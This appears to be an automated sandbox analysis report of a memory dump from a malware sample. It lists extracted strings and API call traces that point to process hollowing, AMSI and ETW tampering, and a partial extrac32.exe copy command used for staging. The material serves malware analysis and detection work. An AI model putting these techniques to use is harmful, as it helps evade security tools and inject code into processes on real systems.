OpenSession, xrefs: 028BD69D, 028BDFE1, 028BE102, 028BE20F, 028BE316, 028BE6D9, 028BE877, 028BEA1D, 028BEB3D, 028BECD2, 028BEDCA, 028BEFB7, 028BF15D, 028BF48B, 028BF6B9, 028BF82D, 028BF950, 028BFACE, 028BFE74, 028BFEF7, 028C000F, 028C0127, 028C0233, 028C0451, 028C056E, 028C080D, 028C0889, 028C0A9E, 028C0C3E, 028C0F04, 028C1025, 028C11C3, 028C13AC, 028C1860, 028C34C5, 028C365F, 028C37FF, 028C39A4, 028C3B18, 028C3D68, 028C3E1C, 028C40D9, 028C424D, 028C467B, 028C4955, 028C4AC9, 028C4C5D, 028C4E0D, 028C54E4, 028C56E9, 028C5902, 028C59A5, 028C5B38, 028C5E08, 028C619C, 028C6499, 028C6591, 028C6722, 028C68B5, 028C6A5B, 028C6C58, 028C6F49, 028C70CF, 028C732A, 028C7530, 028C76F4, 028C79E3, 028C7A92, 028C7CD2, 028C7EC9, 028C7FC1, 028C8292, 028C856B, 028C8AA8
NtDeviceIoControlFile, xrefs: 028C8138
tquery, xrefs: 028C7879
OpenProcess, xrefs: 028C841D
LdrLoadDll, xrefs: 028C88F4
WinHttp.WinHttpRequest.5.1, xrefs: 028BFFE9
ScanString, xrefs: 028BD8A2, 028BD993, 028BDB24, 028BDCB5, 028BDF3E, 028BE05D, 028BE5D2, 028BF1D9, 028BF375, 028BF7B1, 028BF9CC, 028BFA48, 028BFD65, 028C008B, 028C0354, 028C0791, 028C0BC2, 028C0DD2, 028C10A1, 028C33CD, 028C3449, 028C35E3, 028C3928, 028C3CEC, 028C437E, 028C4B64, 028C4CD9, 028C4D91, 028C53EC, 028C5886, 028C5CED, 028C6310, 028C6ECD, 028C72AE, 028C75AC, 028C7967, 028C7D4E, 028C7F45, 028C830E, 028C85E7
Ntdll, xrefs: 028C812E, 028C813D, 028C814C, 028C815B
GetProcessMemoryInfo, xrefs: 028C78FB
C:\Windows\System32\, xrefs: 028BE0D9, 028C57E3
SLGetGenuineInformation, xrefs: 028C7622
EtwEventWrite, xrefs: 028C89F3
VirtualAlloc, xrefs: 028C8384
CreateProcessWithLogonW, xrefs: 028C81EC
DlpGetWebSiteAccess, xrefs: 028C7C99
endpointdlp, xrefs: 028C7C17, 028C7C4A, 028C7C7D, 028C7CB0
.url, xrefs: 028C3C24
IconIndex=, xrefs: 028C4C37
psapi, xrefs: 028C81A6
TrustOpenStores, xrefs: 028BD8FD
HotKey=, xrefs: 028C4D6B
NtQueryVirtualMemory, xrefs: 028C875C
[InternetShortcut], xrefs: 028C4BD4
C:\\Windows\\System32\\extrac32.exe /C /Y , xrefs: 028C433B
EnumServicesStatusExA, xrefs: 028C8183
Kernel32, xrefs: 028C81B5, 028C81C4, 028C8200
can, xrefs: 028C19C3
FindCertsByIssuer, xrefs: 028BD95A
SLGetSLIDList, xrefs: 028C7655
NtAlertResumeThread, xrefs: 028C7DC4
ScanBuffer, xrefs: 028BD639, 028BDA0F, 028BDC39, 028BE17E, 028BE28B, 028BE392, 028BE755, 028BE8F3, 028BEA99, 028BEBB9, 028BED4E, 028BEE46, 028BF0AF, 028BF255, 028BF3F1, 028BF507, 028BF595, 028BF8A9, 028BFB4A, 028BFC5B, 028BFDF8, 028C01A3, 028C02AF, 028C04CD, 028C05EA, 028C0905, 028C09A6, 028C0B1A, 028C0CDA, 028C0E88, 028C1292, 028C1330, 028C1553, 028C16C9, 028C3351, 028C3541, 028C387B, 028C3B94, 028C3F14, 028C42C9, 028C44F2, 028C46F7, 028C485D, 028C49D1, 028C4A4D, 028C55DC, 028C566D, 028C5A9D, 028C5C30, 028C5D8C, 028C5F00, 028C63A1, 028C660D, 028C679E, 028C6931, 028C6AD7, 028C6D7A, 028C7053, 028C71EC, 028C73A6, 028C74B4, 028C77EC, 028C7B8A, 028C80B9, 028C8B24
WintrustAddActionID, xrefs: 028BD927
ntdll, xrefs: 028C7DDB, 028C7E0E, 028C7E41, 028C7E74, 028C7EA7, 028C8740, 028C8773, 028C87A6, 028C87D9, 028C880C, 028C883F, 028C8872, 028C88A5, 028C88D8, 028C890B, 028C893E, 028C8971, 028C89A4, 028C89D7, 028C8A0A
wintrust, xrefs: 028BD90E, 028BD93E, 028BD971
BCryptRegisterProvider, xrefs: 028BDC00
BCryptQueryProviderRegistration, xrefs: 028BDBCD
NtWaitForSingleObject, xrefs: 028C7E2A
SxTracerGetThreadContextDebug, xrefs: 028C7895, 028C865D
CryptSIPGetInfo, xrefs: 028BDA85
UacScan, xrefs: 028BD7C9, 028BDDCA, 028BDEC2, 028BE45E, 028BF033, 028BF611, 028BFF73, 028C0686, 028C15CF, 028C17C1, 028C18DC, 028C3A20, 028C3F90, 028C41D1, 028C4476, 028C4583, 028C47E1, 028C48D9, 028C5468, 028C580A, 028C5A21, 028C5BB4, 028C5E84, 028C6294, 028C641D, 028C6515, 028C66A6, 028C6839, 028C69DF, 028C6BDC, 028C6DF6, 028C6FD7, 028C7170, 028C7422
FlushInstructionCache, xrefs: 028C8483
SLLoadApplicationPolicies, xrefs: 028C76BB
UacInitialize, xrefs: 028BD765, 028BDE46, 028BE556, 028C3783, 028C3C70, 028C5765, 028C6CFE, 028C8216
DllGetClassObject, xrefs: 028BD824, 028BDD2B, 028C1239, 028C78C8, 028C8690
CreateProcessW, xrefs: 028C81BF
C:\Windows\SysWOW64, xrefs: 028C1837
EnumServicesStatusA, xrefs: 028C8165
WriteVirtualMemory, xrefs: 028C8450

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: FileModuleNamePath$AddressAttributesCloseHandleLibraryLoadName_Proc
String ID: .url$@^@$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\Libraries$C:\Windows\SysWOW64$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows\\System32\\extrac32.exe /C /Y $CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$DEEX$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FindCertsByIssuer$FlushInstructionCache$GET$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$^^Nc$acS$bcrypt$can$endpointdlp$http$ieproxy$iexpress.exe$kernel32$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$tquery$wintrust
API String ID: 323450510-582383607
Opcode ID: 0895e44e53358d3f1d11f969b45405ccc83533e411f5f3f4472308f58c73a7e9
Instruction ID: b66d474959bf17048463ae7e3da3c59e97a8bfb020e029dd130f84abd4835b8c
Opcode Fuzzy Hash: 0895e44e53358d3f1d11f969b45405ccc83533e411f5f3f4472308f58c73a7e9
Instruction Fuzzy Hash: FA040A3DA501588FEF51EB68D890ADDB3B6BF85300F2484E5A109E7714DFB0AE858F52

Uniqueness

Uniqueness Score: -1.00%

Function 028C5F9F Relevance: 142.4, APIs: 3, Strings: 77, Instructions: 2446
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 028B7BE8: LoadLibraryW.KERNEL32(?,00000000,028B7C9A,?), ref: 028B7C18
Part of subcall function 028B7BE8: GetModuleHandleW.KERNEL32(?,?,00000000,028B7C9A), ref: 028B7C1E
Part of subcall function 028B7BE8: GetProcAddress.KERNEL32(0290434C,00000000), ref: 028B7C37

GetCurrentProcess.KERNEL32(00000000,02904548,00001000,00000040,ScanBuffer,02900BA8,028C8FEC,OpenSession,02900BA8,028C8FEC,UacScan,02900BA8,028C8FEC,ScanBuffer,02900BA8,028C8FEC), ref: 028C681D

Part of subcall function 028B7968: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 028B7975
Part of subcall function 028B7968: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 028B797B
Part of subcall function 028B7968: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 028B799B

EnumSystemLocalesA.KERNELBASE(029045D8,00000000), ref: 028C6B4F

Part of subcall function 028BC3F8: RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 028BC437
Part of subcall function 028BC3F8: NtCreateFile.NTDLL(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000), ref: 028BC471
Part of subcall function 028BC3F8: NtWriteFile.NTDLL(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000), ref: 028BC49E
Part of subcall function 028BC3F8: NtClose.NTDLL(?), ref: 028BC4A7

ExitProcess.KERNEL32(00000000,ScanBuffer,02900BA8,028C8FEC,OpenSession,02900BA8,028C8FEC,Initialize,02900BA8,028C8FEC,ScanString,02900BA8,028C8FEC,OpenSession,02900BA8,028C8FEC), ref: 028C8B96

Strings

NtCreateSection, xrefs: 028C87F5
DlpNotifyPreDragDrop, xrefs: 028C7C00
RetailTracerEnable, xrefs: 028C7862
NtAccessCheck, xrefs: 028C88C1
NtWriteVirtualMemory, xrefs: 028C895A
RtlQueryProcessDebugInformation, xrefs: 028C8156
CreateProcessA, xrefs: 028C81B0
Advapi, xrefs: 028C816A, 028C8179, 028C8188, 028C8197, 028C81D3, 028C81E2, 028C81F1
SLGatherMigrationBlob, xrefs: 028C86C3
bcrypt, xrefs: 028C7A70
DlpGetArchiveFileTraceInfo, xrefs: 028C7C66
SLGetEncryptedPIDEx, xrefs: 028C86F6
sppc, xrefs: 028C7639, 028C766C, 028C769F, 028C76D2, 028C86DA, 028C870D
EnumProcessModules, xrefs: 028C81A1
NtQueryDirectoryFile, xrefs: 028C8147
CreateProcessAsUserA, xrefs: 028C81CE
NtOpenSection, xrefs: 028C87C2
RtlCreateQueryDebugBuffer, xrefs: 028C7E90
SetUnhandledExceptionFilter, xrefs: 028C84B6
OpenSession, xrefs: 028C5FAC, 028C6120, 028C619C, 028C6499, 028C6591, 028C6722, 028C68B5, 028C6A5B, 028C6C58, 028C6F49, 028C70CF, 028C732A, 028C7530, 028C76F4, 028C79E3, 028C7A92, 028C7CD2, 028C7EC9, 028C7FC1, 028C8292, 028C856B, 028C8AA8
NtDeviceIoControlFile, xrefs: 028C8138
tquery, xrefs: 028C7879
OpenProcess, xrefs: 028C841D
DlpCheckIsCloudSyncApp, xrefs: 028C7C33
NtQuerySecurityObject, xrefs: 028C888E
LdrLoadDll, xrefs: 028C88F4
RtlAllocateHeap, xrefs: 028C7DF7, 028C7E5D
kernel32, xrefs: 028C839B, 028C83CE, 028C8401, 028C8434, 028C8467, 028C849A, 028C84CD
Initialize, xrefs: 028C6028, 028C6218, 028C6B60, 028C7770, 028C7B0E, 028C803D, 028C84EF, 028C8A2C
ScanString, xrefs: 028C60A4, 028C6310, 028C6ECD, 028C72AE, 028C75AC, 028C7967, 028C7D4E, 028C7F45, 028C830E, 028C85E7
spp, xrefs: 028C78AC, 028C78DF, 028C8674
BCryptVerifySignature, xrefs: 028C7A59
LdrGetProcedureAddress, xrefs: 028C8927
NtReadVirtualMemory, xrefs: 028C885B
NtGetWriteWatch, xrefs: 028C8729
Ntdll, xrefs: 028C812E, 028C813D, 028C814C, 028C815B
GetProcessMemoryInfo, xrefs: 028C78FB
SLGetGenuineInformation, xrefs: 028C7622
EtwEventWrite, xrefs: 028C89F3
VirtualAlloc, xrefs: 028C8384
EtwEventWriteEx, xrefs: 028C89C0
CreateProcessWithLogonW, xrefs: 028C81EC
DlpGetWebSiteAccess, xrefs: 028C7C99
psapi, xrefs: 028C7912
endpointdlp, xrefs: 028C7C17, 028C7C4A, 028C7C7D, 028C7CB0
psapi, xrefs: 028C81A6
VirtualProtect, xrefs: 028C83EA
NtQueryVirtualMemory, xrefs: 028C875C
NtQuerySystemInformation, xrefs: 028C8129
EnumServicesStatusExA, xrefs: 028C8183
Kernel32, xrefs: 028C81B5, 028C81C4, 028C8200
SLGetSLIDList, xrefs: 028C7655
NtAlertResumeThread, xrefs: 028C7DC4
ScanBuffer, xrefs: 028C63A1, 028C660D, 028C679E, 028C6931, 028C6AD7, 028C6D7A, 028C7053, 028C71EC, 028C73A6, 028C74B4, 028C77EC, 028C7B8A, 028C80B9, 028C8B24
mssip32, xrefs: 028C7945
NtOpenFile, xrefs: 028C898D
sppwmi, xrefs: 028C86A7
ntdll, xrefs: 028C7DDB, 028C7E0E, 028C7E41, 028C7E74, 028C7EA7, 028C8740, 028C8773, 028C87A6, 028C87D9, 028C880C, 028C883F, 028C8872, 028C88A5, 028C88D8, 028C890B, 028C893E, 028C8971, 028C89A4, 028C89D7, 028C8A0A
SLIsGenuineLocalEx, xrefs: 028C7688
NtMapViewOfSection, xrefs: 028C8828
CreateProcessAsUserW, xrefs: 028C81DD, 028C81FB
NtWaitForSingleObject, xrefs: 028C7E2A
SxTracerGetThreadContextDebug, xrefs: 028C7895, 028C865D
EnumServicesStatusExW, xrefs: 028C8192
UacScan, xrefs: 028C6294, 028C641D, 028C6515, 028C66A6, 028C6839, 028C69DF, 028C6BDC, 028C6DF6, 028C6FD7, 028C7170, 028C7422
CryptSIPVerifyIndirectData, xrefs: 028C792E
NtQueryInformationThread, xrefs: 028C878F
EnumServicesStatusW, xrefs: 028C8174
FlushInstructionCache, xrefs: 028C8483
SLLoadApplicationPolicies, xrefs: 028C76BB
UacInitialize, xrefs: 028C6CFE, 028C8216
DllGetClassObject, xrefs: 028C78C8, 028C8690
CreateProcessW, xrefs: 028C81BF
VirtualAllocEx, xrefs: 028C83B7
MZP, xrefs: 028C7145
EnumServicesStatusA, xrefs: 028C8165
WriteVirtualMemory, xrefs: 028C8450

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: AddressFileHandleModulePathProcProcess$AllocateCloseCreateCurrentEnumExitLibraryLoadLocalesMemoryNameName_SystemVirtualWrite
String ID: Advapi$BCryptVerifySignature$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$bcrypt$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
API String ID: 60065011-2845693168
Opcode ID: bf50a689c4b957ded20addede114de4147a5c77e09359bbd2a02a0e3a6ee907a
Instruction ID: 51069176a49b1e63aa79d652d5b78f9ed8209a6c7d71cfdc0b3c4c4ef427d0bd
Opcode Fuzzy Hash: bf50a689c4b957ded20addede114de4147a5c77e09359bbd2a02a0e3a6ee907a
Instruction Fuzzy Hash: 5733F83DA505588FEF11EB68D8909DEB3B6AF85301F2444E5E009E7715DFB0AE868F12

Uniqueness

Uniqueness Score: -1.00%

Function 028B7F48 Relevance: 41.9, APIs: 8, Strings: 15, Instructions: 1602
nativethreadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 028B7BE8: LoadLibraryW.KERNEL32(?,00000000,028B7C9A,?), ref: 028B7C18
Part of subcall function 028B7BE8: GetModuleHandleW.KERNEL32(?,?,00000000,028B7C9A), ref: 028B7C1E
Part of subcall function 028B7BE8: GetProcAddress.KERNEL32(0290434C,00000000), ref: 028B7C37

CreateProcessAsUserW.ADVAPI32(02904368,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02904398,02904388,OpenSession,02904360,028B9A30,ScanString,02904360), ref: 028B8446
GetThreadContext.KERNEL32(0290438C,029043DC,ScanString,02904360,028B9A30,UacInitialize,02904360,028B9A30,ScanBuffer,02904360,028B9A30,ScanBuffer,02904360,028B9A30,UacInitialize,02904360), ref: 028B87DF
NtReadVirtualMemory.NTDLL(02904388,02904478,029044B0,00000004,029044B8), ref: 028B8A3C
NtUnmapViewOfSection.NTDLL(02904388,00000000), ref: 028B8BB7

Part of subcall function 028B7968: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 028B7975
Part of subcall function 028B7968: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 028B797B
Part of subcall function 028B7968: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 028B799B

NtWriteVirtualMemory.NTDLL(02904388,029044B4,00000000,029044C4,029044B8), ref: 028B920B
NtWriteVirtualMemory.NTDLL(02904388,02904478,029044B4,00000004,029044B8), ref: 028B937E
SetThreadContext.KERNEL32(0290438C,029043DC,ScanBuffer,02904360,028B9A30,ScanString,02904360,028B9A30,Initialize,02904360,028B9A30,02904388,02904478,029044B4,00000004,029044B8), ref: 028B94F4
NtResumeThread.NTDLL(0290438C,00000000), ref: 028B9501

Part of subcall function 028B7AC0: LoadLibraryW.KERNEL32(bcrypt,028B9A30,Initialize,02904360,028B9A30,UacScan,02904360,028B9A30,UacInitialize,02904360,028B9A30,0290438C,029043DC,ScanString,02904360,028B9A30), ref: 028B7AD2
Part of subcall function 028B7AC0: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028B7ADF
Part of subcall function 028B7AC0: NtWriteVirtualMemory.NTDLL(02904388,00000000,?,00000001,?), ref: 028B7AF6
Part of subcall function 028B7AC0: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,028B9A30,Initialize,02904360,028B9A30,UacScan,02904360,028B9A30,UacInitialize,02904360,028B9A30,0290438C,029043DC), ref: 028B7B05

Strings

NtReadVirtualMemory, xrefs: 028B97FD
ntdll, xrefs: 028B9802, 028B9816
BCryptVerifySignature, xrefs: 028B9750
SLGetLicenseInformation, xrefs: 028B8537
BCryptQueryProviderRegistration, xrefs: 028B9764
ScanString, xrefs: 028B7FDA, 028B8185, 028B8333, 028B8760, 028B8946, 028B8ACD, 028B8F5A, 028B9118, 028B9288, 028B93FB, 028B96E6, 028B9793
ScanBuffer, xrefs: 028B80A4, 028B812C, 028B84C7, 028B85DC, 028B867E, 028B89B7, 028B8B3E, 028B8CD1, 028B8EB6, 028B8FCB, 028B9189, 028B92F9, 028B946C, 028B9660, 028B987E, 028B9941
OpenSession, xrefs: 028B7F81, 028B83A4, 028B8456, 028B982C, 028B98D0
sppc, xrefs: 028B854E
UacScan, xrefs: 028B804B, 028B8263, 028B8864, 028B8C60, 028B8DD4, 028B957E
Initialize, xrefs: 028B82C2, 028B88D5, 028B8A5C, 028B8E45, 028B90A7, 028B9217, 028B938A, 028B95EF
NtOpenObjectAuditAlarm, xrefs: 028B9811
bcrypt, xrefs: 028B9755, 028B9769, 028B977D
UacInitialize, xrefs: 028B820A, 028B856B, 028B86EF, 028B87F3, 028B8BEF, 028B8D63, 028B950D
BCryptRegisterProvider, xrefs: 028B9778

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: MemoryVirtual$AddressLibraryProcThreadWrite$ContextHandleLoadModule$AllocateCreateFreeProcessReadResumeSectionUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$Initialize$NtOpenObjectAuditAlarm$NtReadVirtualMemory$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$bcrypt$ntdll$sppc
API String ID: 2533507481-2367850715
Opcode ID: a74b2d5edb57ec2e681355e384dbb8f8eca024813fdfde045395509fad937027
Instruction ID: 1908dd5983be59f54e8072345ddbda7d44a3d169e94f4ed3e9ad660ca4db8887
Opcode Fuzzy Hash: a74b2d5edb57ec2e681355e384dbb8f8eca024813fdfde045395509fad937027
Instruction Fuzzy Hash: 7AE22E3DA402688FEF11EB68D890ADEB3B6AF46700F1094A5D109F7315DEB0AE55CF52

Uniqueness

Uniqueness Score: -1.00%

Function 028B7F46 Relevance: 41.8, APIs: 8, Strings: 15, Instructions: 1553
nativeprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 028B7BE8: LoadLibraryW.KERNEL32(?,00000000,028B7C9A,?), ref: 028B7C18
Part of subcall function 028B7BE8: GetModuleHandleW.KERNEL32(?,?,00000000,028B7C9A), ref: 028B7C1E
Part of subcall function 028B7BE8: GetProcAddress.KERNEL32(0290434C,00000000), ref: 028B7C37

CreateProcessAsUserW.ADVAPI32(02904368,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02904398,02904388,OpenSession,02904360,028B9A30,ScanString,02904360), ref: 028B8446
GetThreadContext.KERNEL32(0290438C,029043DC,ScanString,02904360,028B9A30,UacInitialize,02904360,028B9A30,ScanBuffer,02904360,028B9A30,ScanBuffer,02904360,028B9A30,UacInitialize,02904360), ref: 028B87DF
NtReadVirtualMemory.NTDLL(02904388,02904478,029044B0,00000004,029044B8), ref: 028B8A3C
NtUnmapViewOfSection.NTDLL(02904388,00000000), ref: 028B8BB7

Part of subcall function 028B7968: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 028B7975
Part of subcall function 028B7968: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 028B797B
Part of subcall function 028B7968: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 028B799B

Strings

NtReadVirtualMemory, xrefs: 028B97FD
ntdll, xrefs: 028B9802, 028B9816
BCryptVerifySignature, xrefs: 028B9750
SLGetLicenseInformation, xrefs: 028B8537
BCryptQueryProviderRegistration, xrefs: 028B9764
ScanString, xrefs: 028B7FDA, 028B8185, 028B8333, 028B8760, 028B8946, 028B8ACD, 028B8F5A, 028B9118, 028B9288, 028B93FB, 028B96E6, 028B9793
ScanBuffer, xrefs: 028B80A4, 028B812C, 028B84C7, 028B85DC, 028B867E, 028B89B7, 028B8B3E, 028B8CD1, 028B8EB6, 028B8FCB, 028B9189, 028B92F9, 028B946C, 028B9660, 028B987E, 028B9941
OpenSession, xrefs: 028B7F81, 028B83A4, 028B8456, 028B982C, 028B98D0
sppc, xrefs: 028B854E
UacScan, xrefs: 028B804B, 028B8263, 028B8864, 028B8C60, 028B8DD4, 028B957E
Initialize, xrefs: 028B82C2, 028B88D5, 028B8A5C, 028B8E45, 028B90A7, 028B9217, 028B938A, 028B95EF
NtOpenObjectAuditAlarm, xrefs: 028B9811
bcrypt, xrefs: 028B9755, 028B9769, 028B977D
UacInitialize, xrefs: 028B820A, 028B856B, 028B86EF, 028B87F3, 028B950D
BCryptRegisterProvider, xrefs: 028B9778

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: AddressHandleMemoryModuleProcVirtual$AllocateContextCreateLibraryLoadProcessReadSectionThreadUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$Initialize$NtOpenObjectAuditAlarm$NtReadVirtualMemory$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$bcrypt$ntdll$sppc
API String ID: 3979268988-2367850715
Opcode ID: 50b1894f4756c884f74c682cb992c1b8bad7e09632c90d0887b7261ceed7e59a
Instruction ID: 4e828f773d53f2ab083432003618a40143cc8524b29aab526b9b3079f830b858
Opcode Fuzzy Hash: 50b1894f4756c884f74c682cb992c1b8bad7e09632c90d0887b7261ceed7e59a
Instruction Fuzzy Hash: E5E22F3DA402689FEF11EB68D890ADEB3B6AF46700F1090A5D109F7315DEB0AE55CF52

Uniqueness

Uniqueness Score: -1.00%

Function 028A5A90 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 028A5AAC
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 028A5ACA
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 028A5AE8
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 028A5B06
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,028A5B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 028A5B4F
RegQueryValueExA.ADVAPI32(?,028A5CFC,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,028A5B95,?,80000001), ref: 028A5B6D
RegCloseKey.ADVAPI32(?,028A5B9C,00000000,00000000,00000005,00000000,028A5B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 028A5B8F
lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 028A5BAC
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105), ref: 028A5BB9
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105), ref: 028A5BBF
lstrlen.KERNEL32(00000000), ref: 028A5BEA
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 028A5C31
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 028A5C41
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 028A5C69
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 028A5C79
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 028A5C9F
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 028A5CAF

Strings

Software\Borland\Locales, xrefs: 028A5AC0, 028A5ADE
., xrefs: 028A5BFC
Software\Borland\Delphi\Locales, xrefs: 028A5AFC

Memory Dump Source

Source File: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_28a1000_Ucvuiswb.jbxd

Yara matches

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
